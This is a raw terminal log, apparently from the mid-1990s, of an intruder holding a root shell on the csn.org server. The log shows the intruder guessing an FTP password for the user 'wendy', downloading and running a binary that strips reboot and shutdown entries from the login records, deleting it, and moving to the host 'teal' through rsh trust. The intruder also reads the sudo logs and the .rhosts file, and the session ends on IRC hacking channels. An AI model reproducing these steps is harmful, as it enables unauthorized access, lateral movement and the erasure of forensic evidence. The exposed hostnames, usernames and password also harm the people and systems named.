Kevin On Demand


cmarcant ttysb     9:37pm         1:40      1  more alysis-disk-expander-12.hqx
mholt    ttysc    11:23pm         1:43   1:43  /usr/local/bin/mail.old/ircII -p 
gkremen  ttysf    11:21pm            5         sh                            
mfischer ttyt0    10:37pm     1      1      1  telnet 129.49.20.21 5013         
dandurf  ttyt6    11:18pm           22      6  -tcsh                            
greg2    ttyta    11:06pm            4      4  telnet dreamtime.nmsu.edu 3000   
jshunter ttytb     7:11pm  5:08      8      8  pine                             
tfesp    ttyu3    11:08pm            6         -tcsh                            
support  ttyu7    10:02pm     1      1      1  -tcsh
$ w hoodr
 12:30am  up 3 days,  6:57,  51 users,  load average: 5.62, 4.32, 5.02
User     tty       login@  idle   JCPU   PCPU  what
hoodr    ttyp7    Fri 4am     1                -csh
$ test1
test1> open nfs-serv 14
Trying 199.35.110.100 ...
telnet: connect: Host is unreachable
test1> open nfs-serv 4444
Trying 199.35.110.100 ...
telnet: connect: Host is unreachable
test1> open mail 333
Trying 192.100.81.99 ...
telnet: connect: Connection refused
test1> open csn.org 3111
Trying 199.117.27.21 ...
Connected to csn.org.
Escape character is '^]'.

nm

SunOS UNIX (csn)


csn# ps
  PID TT STAT  TIME COMMAND
  194 p1 S     0:00 -sh -i (csh)
  198 p1 R     0:00 ps
csn# w
  1:31am  up 1 min,  1 user,  load average: 1.85, 0.53, 0.19
User     tty       login@  idle   JCPU   PCPU  what
Umaple   ttyp2     1:31am                      -uucico 
csn# what .vmunix | grep -i nit
can't open .vmunix (26)
csn# what /vmunix | grep -i nit
         monitor.c 1.14 89/08/20 Copyr 1987 Sun Micro
         nit_buf.c 1.16 89/01/18 Copyr 1988 Sun Micro
         nit_if.c 1.32 90/05/29 Copyr 1988 Sun Micro
         nit_pf.c 1.12 89/01/18 Copyr 1988 Sun Micro
         init_dbx.c 1.5 88/02/08 Copyr 1985 Sun Micro
csn# w
  1:31am  up 2 mins,  0 user,  load average: 3.47, 1.09, 0.43
User     tty       login@  idle   JCPU   PCPU  what
csn# ps
  PID TT STAT  TIME COMMAND
  194 p1 S     0:00 -sh -i (csh)
  270 p1 R     0:00 ps
csn# cd /var/log
csn# tail 1-00 console.log
tail: 1-00: No such file or directory
csn# tail -100 console.log
tail: console.log: No such file or directory
csn# cd system
csn# tail console.log
Feb 11 01:31:15 csn vmunix: dump on sd0b fstype spec size 101988K
Feb 11 01:31:15 csn vmunix: le0: Twisted Pair Ethernet
Feb 11 01:31:15 csn vmunix: le0: TINT but buffer owned by LANCE
Feb 11 01:31:08 csn snmpd[119]: warning: 10 symbol(s) not found in namelist
Feb 11 01:31:08 csn snmpd[119]: Using default snmptrap port 162
Feb 11 01:31:08 csn snmpd[119]: Using default snmp port 161
Feb 11 01:31:10 csn lpd[146]: /var/spool/desoto/log: No such file or directory
Feb 11 01:31:14 csn ntpd[122]: shorty.chpc.utexas.edu: unknown host
Feb 11 01:32:11 csn named[71]: secondary zone "together.org" expired
Feb 11 01:32:12 csn named[71]: secondary zone "189.203.192.in-addr.arpa" expired
csn# tail -100 console.log
Feb 11 01:15:48 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:15:52 csn named-xfer[10268]: connect(198.233.35.98) failed: Connection refused
Feb 11 01:15:59 csn named-xfer[10167]: connect(199.117.60.5) failed: Connection timed out
Feb 11 01:16:18 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:16:24 csn named-xfer[10224]: connect(192.203.189.1) failed: Connection timed out
Feb 11 01:16:28 csn named-xfer[10226]: connect(128.138.213.34) failed: Connection timed out
Feb 11 01:16:34 csn named-xfer[10230]: connect(198.243.1.1) failed: Connection timed out
Feb 11 01:16:37 csn named-xfer[10231]: connect(198.243.1.2) failed: Connection timed out
Feb 11 01:16:49 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:17:03 csn named-xfer[10267]: connect(198.41.9.5) failed: Connection timed out
Feb 11 01:17:07 csn named-xfer[10269]: connect(198.41.9.5) failed: Connection timed out
Feb 11 01:17:08 csn named-xfer[10270]: connect(198.233.37.1) failed: Connection timed out
Feb 11 01:17:10 csn named[11882]: secondary zone "firstclass.com" expired
Feb 11 01:17:15 csn named[11882]: secondary zone "together.org" expired
Feb 11 01:17:19 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:17:20 csn named[11882]: secondary zone "189.203.192.in-addr.arpa" expired
Feb 11 01:17:31 csn named-xfer[10301]: connect(199.117.187.100) failed: Connection timed out
Feb 11 01:17:49 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:18:19 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:18:49 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:19:19 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:19:33 csn vmunix: rcvtty, uid 71: setuid execution not allowed
Feb 11 01:19:49 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:20:19 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:20:49 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:21:19 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:21:49 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:22:19 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:22:37 csn vmunix: /: file system full
Feb 11 01:22:38 csn vmunix: /: file system full
Feb 11 01:22:49 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:22:54 csn named[11882]: secondary zone "dwi.com" expired
Feb 11 01:23:16 csn named[11882]: secondary zone "hro.com" expired
Feb 11 01:23:19 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:23:50 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:24:19 csn vmunix: /: file system full
Feb 11 01:24:19 csn vmunix: /: file system full
Feb 11 01:24:20 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:24:50 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:25:20 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:25:31 csn sendmail[11497]: gethostbyaddr: h192-127-251-3.NCR.COM != 192.127.251.3
Feb 11 01:25:50 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:26:20 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:26:50 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:27:20 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:27:43 198.147.224.253 root[0]: ppp1: down
Feb 11 01:27:50 csn sendmail[19849]: AA19849: SYSERR: queueup: temp file tfAA19849 exists, sleeping: File exists
Feb 11 01:31:15 csn vmunix: syncing file systems... SuperSPARC/SuperCache: PAC ENABLED
Feb 11 01:31:15 csn vmunix: SunOS Release 4.1.3 (CSN) #3: Wed Jul 20 10:21:21 MDT 1994
Feb 11 01:31:15 csn vmunix: Copyright (c) 1983-1992, Sun Microsystems, Inc.
Feb 11 01:31:15 csn vmunix: cpu = SUNW,SPARCstation-10
Feb 11 01:31:15 csn vmunix: mod0 = TI,TMS390Z55 (mid = 8)
Feb 11 01:31:15 csn vmunix: mem = 130664K (0x7f9a000)
Feb 11 01:31:15 csn vmunix: avail mem = 121847808
Feb 11 01:31:15 csn vmunix: cpu0 at Mbus 0x8 0x1d8000
Feb 11 01:31:15 csn vmunix: entering uniprocessor mode
Feb 11 01:31:15 csn vmunix: Ethernet address = 8:0:20:1d:63:84
Feb 11 01:31:15 csn vmunix: espdma0 at SBus slot f 0x400000
Feb 11 01:31:15 csn vmunix: esp0 at SBus slot f 0x800000 pri 4 (onboard)
Feb 11 01:31:15 csn vmunix: sd0 at esp0 target 3 lun 0
Feb 11 01:31:15 csn vmunix: sd0: <MAXTOR   cyl 2373 
Feb 11 01:31:15 csn vmunix: sd1 at esp0 target 1 lun 0
Feb 11 01:31:15 csn vmunix: sd1: <Fujitsu M2266SA cyl 1653 alt 2 hd 15 sec 85>
Feb 11 01:31:15 csn vmunix: sd2 at esp0 target 2 lun 0
Feb 11 01:31:15 csn vmunix: sd2: <SUN0669 cyl 1614 alt 2 hd 15 sec 54>
Feb 11 01:31:15 csn vmunix: sd3 at esp0 target 0 lun 0
Feb 11 01:31:15 csn vmunix: sd3: <Fujitsu M2266SA cyl 1653 alt 2 hd 15 sec 85>
Feb 11 01:31:15 csn vmunix: st1 at esp0 target 5 lun 0
Feb 11 01:31:15 csn vmunix: st1: <Exabyte EXB-8200 8mm Helical Scan>
Feb 11 01:31:15 csn vmunix: ledma0 at SBus slot f 0x400010
Feb 11 01:31:15 csn vmunix: le0 at SBus slot f 0xc00000 pri 6 (onboard)
Feb 11 01:31:15 csn vmunix: SUNW,bpp0 at SBus slot f 0x4800000 pri 3 (sbus level 2)
Feb 11 01:31:15 csn vmunix: SUNW,DBRIe0 at SBus slot f 0x8010000 pri 9 (sbus level 5)
Feb 11 01:31:15 csn vmunix: Audio: no Audio device found
Feb 11 01:31:15 csn vmunix: dma0 at SBus slot 0 0x400000
Feb 11 01:31:15 csn vmunix: ptscII0 at SBus slot 0 0x800000 pri 3
Feb 11 01:31:15 csn vmunix: ptscII0: Target 1 now Synchronous FAST at 10.0 mb/s max rate
Feb 11 01:31:15 csn vmunix: sd5 at ptscII0 target 1 lun 0
Feb 11 01:31:15 csn vmunix: sd5: <MAXTOR   cyl 2373 alt 2 hd 15 sec 68>
Feb 11 01:31:15 csn vmunix: dma1 at SBus slot 3 0x81000
Feb 11 01:31:15 csn vmunix: esp1 at SBus slot 3 0x80000 pri 5 (sbus level 3)
Feb 11 01:31:15 csn vmunix: esp1: Warning- no devices found for this SCSI bus
Feb 11 01:31:15 csn vmunix: lebuffer0 at SBus slot 3 0x40000
Feb 11 01:31:15 csn vmunix: le1 at SBus slot 3 0x60000 pri 7 (sbus level 4)
Feb 11 01:31:15 csn vmunix: zs0 at obio 0x100000 pri 12 (onboard)
Feb 11 01:31:15 csn vmunix: zs1 at obio 0x0 pri 12 (onboard)
Feb 11 01:31:15 csn vmunix: SUNW,fdtwo0 at obio 0x700000 pri 11 (onboard)
Feb 11 01:31:15 csn vmunix: root on sd0a fstype 4.2
Feb 11 01:31:15 csn vmunix: swap on sd0b fstype spec size 102000K
Feb 11 01:31:15 csn vmunix: dump on sd0b fstype spec size 101988K
Feb 11 01:31:15 csn vmunix: le0: Twisted Pair Ethernet
Feb 11 01:31:15 csn vmunix: le0: TINT but buffer owned by LANCE
Feb 11 01:31:08 csn snmpd[119]: warning: 10 symbol(s) not found in namelist
Feb 11 01:31:08 csn snmpd[119]: Using default snmptrap port 162
Feb 11 01:31:08 csn snmpd[119]: Using default snmp port 161
Feb 11 01:31:10 csn lpd[146]: /var/spool/desoto/log: No such file or directory
Feb 11 01:31:14 csn ntpd[122]: shorty.chpc.utexas.edu: unknown host
Feb 11 01:32:11 csn named[71]: secondary zone "together.org" expired
Feb 11 01:32:12 csn named[71]: secondary zone "189.203.192.in-addr.arpa" expired
Feb 11 01:32:27 csn vmunix: rcvtty, uid 71: setuid execution not allowed
csn# last | head
Udac      ttyp0    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Umaple    ttyp2    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Ucprojec  ttyp0    denver1-annex.cs Sat Feb 11 01:31 - 01:31  (00:00)
reboot    ~                         Sat Feb 11 01:30 
shutdown  ~                         Sat Feb 11 01:29 
Umedberr  ttyp6    denver1-annex.cs Sat Feb 11 01:29 - down   (00:00)
Uwally    ttyp3    ucb-annex.csn.or Sat Feb 11 01:29 - down   (00:00)
Usimtek   ttyp3    colospgs-annex.c Sat Feb 11 01:26 - 01:27  (00:00)
Uigsbbs   ttypd    ucb-annex.csn.or Sat Feb 11 01:25 - down   (00:04)
Umailctr  ttyp6    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
csn# cd /tmp
csn# ftp
ftp> open well.sf.ca.us
Connected to well.sf.ca.us.
220 well FTP server (UNIX(r) System V Release 4.0) ready.
Name (well.sf.ca.us:root): 
331 Password required for root.
Password:
500 'PASS ': command not understood.
Login failed.
ftp> open cnscscns.com
Already connected to well.sf.ca.us, use close first.
ftp> close
221 Goodbye.
ftp> open cns.cscns.com
Connected to cns.cscns.com.
220 cns FTP server (Version wu-2.4(1) Thu Jun 23 14:54:45 MDT 1994) ready.
Name (cns.cscns.com:root): wendy
331 Password required for wendy.
Password: fucknmc
530 Login incorrect.
Login failed.
ftp> bin
200 Type set to I.
ftp> get foo
200 PORT command successful.
530 Please login with USER and PASS.
ftp> user wendy
331 Password required for wendy.
Password: fuckjkt
230 User wendy logged in.
ftp> bin
200 Type set to I.
ftp> get foo
200 PORT command successful.
150 Opening BINARY mode data connection for foo (24576 bytes).
226 Transfer complete.
local: foo remote: foo
24576 bytes received in 1.3 seconds (19 Kbytes/s)
ftp> quit
221 Goodbye.
csn# chmod 777 foo
csn# ./foo reboot ~
Unable to match reboot//tmp in /etc/utmp; wildcarding.
Unable to find entry in /usr/adm/wtmp
Cannot find uid for user reboot
csn# last | head
Udac      ttyp0    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Umaple    ttyp2    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Ucprojec  ttyp0    denver1-annex.cs Sat Feb 11 01:31 - 01:31  (00:00)
reboot    ~                         Sat Feb 11 01:30 
shutdown  ~                         Sat Feb 11 01:29 
Umedberr  ttyp6    denver1-annex.cs Sat Feb 11 01:29 - down   (00:00)
Uwally    ttyp3    ucb-annex.csn.or Sat Feb 11 01:29 - down   (00:00)
Usimtek   ttyp3    colospgs-annex.c Sat Feb 11 01:26 - 01:27  (00:00)
Uigsbbs   ttypd    ucb-annex.csn.or Sat Feb 11 01:25 - down   (00:04)
Umailctr  ttyp6    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
csn# ./foo reboot ~
Unable to match reboot//tmp in /etc/utmp; wildcarding.
Unable to find entry in /usr/adm/wtmp
Cannot find uid for user reboot
csn# sh
# ./foo reboot ~
Unable to match reboot/~ in /etc/utmp; wildcarding.
No last entry found: using "never"
Cannot find uid for user reboot
# last | head
Udac      ttyp0    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Umaple    ttyp2    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Ucprojec  ttyp0    denver1-annex.cs Sat Feb 11 01:31 - 01:31  (00:00)
shutdown  ~                         Sat Feb 11 01:29 
Umedberr  ttyp6    denver1-annex.cs Sat Feb 11 01:29 - down   (00:00)
Uwally    ttyp3    ucb-annex.csn.or Sat Feb 11 01:29 - down   (00:00)
Usimtek   ttyp3    colospgs-annex.c Sat Feb 11 01:26 - 01:27  (00:00)
Uigsbbs   ttypd    ucb-annex.csn.or Sat Feb 11 01:25 - down   (00:04)
Umailctr  ttyp6    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
Uboulder  ttyp3    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
# ./foo shutdown ~
Unable to match shutdown/~ in /etc/utmp; wildcarding.
No last entry found: using "never"
Cannot find uid for user shutdown
# last | head
Uraven    ttyp2    ucb-annex.csn.or Sat Feb 11 01:34 - 01:34  (00:00)
Udac      ttyp0    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Umaple    ttyp2    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Ucprojec  ttyp0    denver1-annex.cs Sat Feb 11 01:31 - 01:31  (00:00)
Umedberr  ttyp6    denver1-annex.cs Sat Feb 11 01:29   still logged in
Uwally    ttyp3    ucb-annex.csn.or Sat Feb 11 01:29   still logged in
Usimtek   ttyp3    colospgs-annex.c Sat Feb 11 01:26 - 01:27  (00:00)
Uigsbbs   ttypd    ucb-annex.csn.or Sat Feb 11 01:25   still logged in
Umailctr  ttyp6    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
Uboulder  ttyp3    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
# pwd
/tmp
# rm foo
# ls t-la
t-la not found
# ls -tla
total 5
drwxrwxrwt  2 root           32 Feb 11 01:34 .
drwxrwxr-x 19 root         1024 Feb 11 01:30 ..
# last | head
runmailq  ttyp0    glenwood-link.br Sat Feb 11 01:34   still logged in
Uraven    ttyp2    ucb-annex.csn.or Sat Feb 11 01:34 - 01:34  (00:00)
Udac      ttyp0    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Umaple    ttyp2    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Ucprojec  ttyp0    denver1-annex.cs Sat Feb 11 01:31 - 01:31  (00:00)
Umedberr  ttyp6    denver1-annex.cs Sat Feb 11 01:29   still logged in
Uwally    ttyp3    ucb-annex.csn.or Sat Feb 11 01:29   still logged in
Usimtek   ttyp3    colospgs-annex.c Sat Feb 11 01:26 - 01:27  (00:00)
Uigsbbs   ttypd    ucb-annex.csn.or Sat Feb 11 01:25   still logged in
Umailctr  ttyp6    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
# who
runmailq ttyp0   Feb 11 01:34   (glenwood-link.br)
# w
  1:34am  up 5 mins,  1 user,  load average: 1.23, 1.18, 0.59
User     tty       login@  idle   JCPU   PCPU  what
runmailq ttyp0     1:34am                      /bin/csh -f  /usr/local/etc/rmqs
# w
  1:35am  up 5 mins,  1 user,  load average: 1.21, 1.18, 0.59
User     tty       login@  idle   JCPU   PCPU  what
runmailq ttyp0     1:34am                      /bin/csh -f  /usr/local/etc/rmqs
# cd /var/log/sudo
# tail sudo.log
# rsh teal /bin/csh -bif
Warning: no access to tty; thus no job control in this shell...
teal# w
  1:35am  up 16:53,  17 users,  load average: 4.65, 4.81, 4.51
User     tty       login@  idle   JCPU   PCPU  what
ac       ttyp0    12:45am            1      1  /usr/local/acmenu/bin/actelnet 1
kfason   ttyp2     1:32am                      -csh 
deekayt  ttyp6     1:12am            8      4  trn 
rogersc  ttyp8    12:30am           33     17  /usr/local/bin/rtin 
ddennis  ttyp9    10:02pm           22     12  telnet 130.253.192.89 
mwitwer  ttypa    12:21am           15      8  /usr/local/bin/rtin 
bgk      ttypc    12:53am           21      4  /usr/local/bin/supermenu 
ramirez  ttypd     1:00am           11     11  /usr/local/bin/rtin 
lobser   ttypf     1:24am     1      2      2  /usr/local/bin/rtin 
jelliott ttyq0     1:01am     2      6      6  /usr/local/bin/rtin 
candia   ttyq1    12:33am            1      1  telnet gopher.msu.edu 
davemart ttyqf    10:35pm    14     19     19  telnet vv.com 
knowlton ttyr2     6:56pm  6:30      3      3  pine 
ac       ttys4    11:08am  9:43      4      3  /usr/local/bin/acmenu -s 
winner   ttysc     4:33pm  8:59      4      4  pine 
raney    ttytb     9:42am 15:53                -ksh 
ac       ttyua    10:55am 14:30                /usr/local/bin/acmenu -s 
teal# cd /var/log/sudo
teal# tail sudo.log
Feb 10 11:59:58 teal sudo[12774]: Fri Feb 10 11:59:58  :   skaufel : ls -al kienzle 
Feb 10 12:08:00 teal sudo[14175]: Fri Feb 10 12:07:53  :   skaufel : su davidson
Feb 10 12:09:16 teal sudo[14518]: Fri Feb 10 12:09:11  :     duffy : /etc/chown bbrunton ski 
Feb 10 12:10:21 teal sudo[14769]: Fri Feb 10 12:10:21  :     duffy : /etc/chown ramseyb matrix 
Feb 10 12:13:10 teal sudo[15291]: Fri Feb 10 12:13:07  :   jromary : passwd rfarwell 
Feb 10 12:41:50 teal sudo[19929]: Fri Feb 10 12:41:41  :   jromary : passwd lips
Feb 10 14:32:41 teal sudo[13814]: Fri Feb 10 14:32:35  :       mop : passwd kmenefee 
Feb 10 14:33:57 teal sudo[14102]: Fri Feb 10 14:33:55  :       mop : passwd dwignall 
Feb 10 15:03:57 teal sudo[21489]: Fri Feb 10 15:03:54  :     duffy : chmod 644 bizaes.gif ceram.gif densoft.gif flint.gif interpex.gif marketeers.gif matrix.gif ravaldez.gif rmcmlogo.gif rmdctit3.gif rossie.gif sansoft.gif ws.gif xvt.gif 
Feb 10 22:23:25 teal sudo[24800]: Fri Feb 10 22:23:19  :  tdonahue : crontab -l
teal# ^D
# w
  1:35am  up 5 mins,  2 users,  load average: 2.83, 1.68, 0.82
User     tty       login@  idle   JCPU   PCPU  what
runmailq ttyp0     1:34am     1                /bin/csh -f  /usr/local/etc/rmqs
Umailctr ttyp2     1:35am            1      1  -uucico 
# ^D
csn# who
runmailq ttyp0   Feb 11 01:34   (glenwood-link.br)
Umailctr ttyp2   Feb 11 01:35   (ucb-annex.csn.or)
csn# w
  1:35am  up 6 mins,  2 users,  load average: 2.83, 1.68, 0.82
User     tty       login@  idle   JCPU   PCPU  what
runmailq ttyp0     1:34am     1                /bin/csh -f  /usr/local/etc/rmqs
Umailctr ttyp2     1:35am            1      1  -uucico 
csn# last | head
Umailctr  ttyp2    ucb-annex.csn.or Sat Feb 11 01:35   still logged in
runmailq  ttyp0    glenwood-link.br Sat Feb 11 01:34   still logged in
Uraven    ttyp2    ucb-annex.csn.or Sat Feb 11 01:34 - 01:34  (00:00)
Udac      ttyp0    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Umaple    ttyp2    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Ucprojec  ttyp0    denver1-annex.cs Sat Feb 11 01:31 - 01:31  (00:00)
Umedberr  ttyp6    denver1-annex.cs Sat Feb 11 01:29   still logged in
Uwally    ttyp3    ucb-annex.csn.or Sat Feb 11 01:29   still logged in
Usimtek   ttyp3    colospgs-annex.c Sat Feb 11 01:26 - 01:27  (00:00)
Uigsbbs   ttypd    ucb-annex.csn.or Sat Feb 11 01:25   still logged in
csn# last | head -25
Umailctr  ttyp2    ucb-annex.csn.or Sat Feb 11 01:35   still logged in
runmailq  ttyp0    glenwood-link.br Sat Feb 11 01:34   still logged in
Uraven    ttyp2    ucb-annex.csn.or Sat Feb 11 01:34 - 01:34  (00:00)
Udac      ttyp0    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Umaple    ttyp2    ucb-annex.csn.or Sat Feb 11 01:31 - 01:31  (00:00)
Ucprojec  ttyp0    denver1-annex.cs Sat Feb 11 01:31 - 01:31  (00:00)
Umedberr  ttyp6    denver1-annex.cs Sat Feb 11 01:29   still logged in
Uwally    ttyp3    ucb-annex.csn.or Sat Feb 11 01:29   still logged in
Usimtek   ttyp3    colospgs-annex.c Sat Feb 11 01:26 - 01:27  (00:00)
Uigsbbs   ttypd    ucb-annex.csn.or Sat Feb 11 01:25   still logged in
Umailctr  ttyp6    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
Uboulder  ttyp3    ucb-annex.csn.or Sat Feb 11 01:25 - 01:25  (00:00)
Ubearsan  ttyp6    ucb-annex.csn.or Sat Feb 11 01:24 - 01:24  (00:00)
Uclinico  ttyp3    ucb-annex.csn.or Sat Feb 11 01:23 - 01:25  (00:01)
runmailq  ttyp3    billm.com        Sat Feb 11 01:23 - 01:23  (00:00)
Uceram    ttyp3    colospgs-annex.c Sat Feb 11 01:22 - 01:22  (00:00)
Uhotelne  ttyq5    boulder2-annex.c Sat Feb 11 01:22 - 01:22  (00:00)
Umaple    ttyq4    ucb-annex.csn.or Sat Feb 11 01:21 - 01:22  (00:00)
Uveximg   ttyp1    ucb-annex.csn.or Sat Feb 11 01:21 - 01:21  (00:00)
Ulookout  ttyq8    158.142.12.11    Sat Feb 11 01:20   still logged in
Uctnet    ttyq7    colospgs-annex.c Sat Feb 11 01:20   still logged in
Uesoft    ttyq5    ucb-annex.csn.or Sat Feb 11 01:20 - 01:21  (00:00)
Ulegalne  ttyq4    boulder2-annex.c Sat Feb 11 01:20 - 01:21  (00:00)
Umailctr  ttyp1    ucb-annex.csn.or Sat Feb 11 01:20 - 01:20  (00:00)
Umetacar  ttyq5    boulder2-annex.c Sat Feb 11 01:18 - 01:19  (00:00)
csn# cd /
csn# ls -lac
total 4205
drwxr-sr-x  2 root        11776 Feb 11 01:31 dev
drwxr-sr-x 11 root         2560 Feb 11 01:31 etc
drwxrwxrwt  2 root           32 Feb 11 01:30 tmp
drwxrwxr-x 19 root         1024 Feb 11 01:30 .
drwxrwxr-x 19 root         1024 Feb 11 01:30 ..
drwxr-xr-x 14 root          512 Feb  8 08:25 var
-rw-------  1 root          327 Jan 21 12:41 .rhosts
-rw-r--r--  1 root          207 Dec 22 10:07 .bash_history
-rw-------  1 root          227 Dec 12 19:38 .rhosts~
drwxr-xr-x  2 root          512 Oct  2 06:28 tftpboot
drwxr-sr-x 12 root          512 Sep 21 12:35 home
drwxrwxrwx  4 root          512 Sep 20 11:06 billing
-rwxr-xr-x  1 root      1926973 Sep  8 10:18 vmunix
-rw-r--r--  1 root           21 Sep  6 14:50 pinerc
drwxr-xr-x 27 root         1024 Jun 20  1994 usr
-rw-r--r--  1 root          126 Jun  4  1994 .cshrc
drwxr-sr-x  2 root          512 May 21  1994 mnt
drwxr-sr-x  2 root          512 May 21  1994 sbin
drwxr-xr-x  2 root         8192 May 17  1994 lost+found
drwx------  2 root          512 Apr 15  1994 .elm
-rw-r--r--  1 root           85 Mar 28  1994 .profile
-rwxr-xr-x  1 root       249079 Mar 25  1994 kadb
-rw-r--r--  1 root           11 Mar 23  1994 .mh_profile
drwxr-xr-x  2 root          512 Mar  6  1994 cdrom
drwxr-xr-x  2 root          512 Nov  7  1993 spare2
drwxr-xr-x  2 root          512 Nov  5  1993 spare
-rwxr-xr-x  1 root      1916938 Nov  5  1993 vmunix.bak
-r--r--r--  1 root       103512 Nov  5  1993 boot
lrwxrwxrwx  1 root           13 Nov  5  1993 sys -> ./usr/kvm/sys
lrwxrwxrwx  1 root            7 Nov  5  1993 bin -> usr/bin
lrwxrwxrwx  1 root            7 Nov  5  1993 lib -> usr/lib
-rw-r--r--  1 root           62 Nov  5  1993 .login
drwxr-sr-x  4 root          512 Nov  5  1993 export
drwxr-sr-x  2 root          512 Nov  5  1993 pcfs
csn# cat .rhosts
chartreuse.csn.net
db-1.csn.net root
teal.csn.net root
teal root
teal.csn.org root
csn.net root
csn.org root
medusa.csn.net root
medusa.csn.org root
ns-1.csn.net root
ns-1.csn.org root
teal.csn.net backups
teal.csn.org backups
news-1.csn.net root
news-4.csn.net root
news-3.csn.net root
news-2.csn.net root
128.138.213.23 root
csn# ps
  PID TT STAT  TIME COMMAND
  721 p0 S     0:01 sendmail -R bridget.newcastle.co.us
  194 p1 S     0:00 -sh -i (csh)
  931 p1 R     0:00 ps
csn# ^D
Connection closed by foreign host.
$ irc
*** Connecting to port 6667 of server irc.netcom.com
*** Welcome to the Internet Relay Network gkremen
*** You have new email.
*** If you have not already done so, please read the new user information with
+/HELP NEWUSER
*** Your host is irc.netcom.com, running version 2.8.21
*** This server was created Tue Jan 24 1995 at 21: 58:42 PST
*** umodes available oiws, channel modes available biklmnopstv
*** There are 3551 users and 2531 invisible on 102 servers
*** There are 85 operators online
*** 1893 channels have been formed
*** This server has 141 clients and 1 servers connected
*** - irc.netcom.com Message of the Day - 
*** - 31/1/1995 10:33
*** -   This is a NETCOM IRC Server for use by subscribers
*** -   of the following services:
*** -      1) NetCruiser(tm) Accounts
*** -      2) Netcom Shell Accounts
*** -      3) Netcom PNC Accounts
*** - 
*** -   This server is linked to the outside world.  A private server for
*** -   discussions between Netcom customers only is available on
*** -   irc.netcom.com port 6668.
*** - 
*** -   We strongly urge new users of IRC to read the HELP pages available in
*** -   NetCruiser and the FAQ available via ftp at many locations, including:
*** - 
*** -         cs-ftp.bu.edu:/irc/support/
*** -         ftp.kei.com:/pub/irc/
*** -         rtfm.mit.edu:/pub/usenet/alt.irc/
*** - 
*** - >> Abuse will not be tolerated.  Please report abusive individuals 
*** - >> to support@netcom.com.  Include a log of the events, and the output
*** - >> of /whois.
/join #hack
*** gkremen (gkremen@netcom15.netcom.com) has joined channel #hack
*** Users on #hack: gkremen digital-1 tfish AxTeCH MiCRO^[[ @Jason_ Torquie
+prenex eyedol acrobat Lestatt Mark Gentry Brad|ey tewph zebra RAgent @][ceman
+aDEPT halflife Kamakize matrix @_JuNkMAn_ @SirLance VGM @BaudBitch @Proff
+@loki @Kewp rw33 @car1cory 
*** Signoff: eyedol (Unsignificant link?)
#hack> /join #2600
*** gkremen has left channel #hack
*** gkremen (gkremen@netcom15.netcom.com) has joined channel #2600
*** Users on #2600: gkremen AxTeCH acrobat KaTKiller zebra mycroft_ @nixis 
#2600> /quit
$ tin
